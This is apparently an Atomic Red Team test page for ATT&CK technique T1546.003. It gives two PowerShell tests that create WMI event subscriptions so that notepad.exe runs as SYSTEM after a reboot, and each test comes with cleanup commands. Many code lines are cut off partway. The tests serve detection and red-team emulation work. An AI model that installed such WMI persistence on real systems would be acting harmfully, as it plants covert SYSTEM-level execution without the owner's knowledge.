T1546.003 - Windows Management Instrumentation Event Subscription

Description from ATT&CK

> Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime.(Citation: Mandiant M-Trends 2015)
> Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)
>
> WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.

Atomic Tests

Atomic Test #1 - Persistence via WMI Event Subscription - CommandLineEventConsumer

Run from an administrator powershell window. After running, reboot the victim machine. After it has been online for 4 minutes you should see notepad.exe running as SYSTEM.

Code references

https://gist.github.com/mattifestation/7fe1df7ca2f08cbfa3d067def00c01af

https://github.com/EmpireProject/Empire/blob/master/data/module_source/persistence/Persistence.psm1#L545

Supported Platforms: Windows

auto_generated_guid: 3c64f177-28e2-49eb-a799-d767b24dd1e0

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Exampl
                EventNameSpace='root\CimV2';
                QueryLanguage="WQL";
                Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE T
$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Pro

$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Exam
                CommandLineTemplate="$($Env:SystemRoot)\System32\notepad.exe";}
$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEvent

$FilterToConsumerArgs = @{
Filter = [Ref] $Filter;
Consumer = [Ref] $Consumer;
```

```
}
$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName
```

Cleanup Commands:

```
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class Comman
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventF
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Quer
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject
```

Atomic Test #2 - Persistence via WMI Event Subscription - ActiveScriptEventConsumer

Run from an administrator powershell window. After running, reboot the victim machine. After it has been online for 4 minutes you should see notepad.exe running as SYSTEM.

Code references

https://gist.github.com/mgreen27/ef726db0baac5623dc7f76bfa0fc494c

Supported Platforms: Windows

auto_generated_guid: fecd0dfd-fb55-45fa-a10b-6250272d0832

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Examp
                EventNameSpace='root\CimV2';
                QueryLanguage="WQL";
                Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE T
$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Argum

$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Exa
                ScriptingEngine='VBScript';
                ScriptText='
```

```
                Set objws = CreateObject("Wscript.Shell")
                objws.Run "notepad.exe", 0, True
                '}
$Consumer=Set-WmiInstance -Namespace "root\subscription" -Class ActiveScriptEventC

$FilterToConsumerArgs = @{
Filter = $Filter;
Consumer = $Consumer;
}
$FilterToConsumerBinding = Set-WmiInstance -Namespace 'root/subscription' -Class '
```

Cleanup Commands:

```
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class Active
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventF
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject
```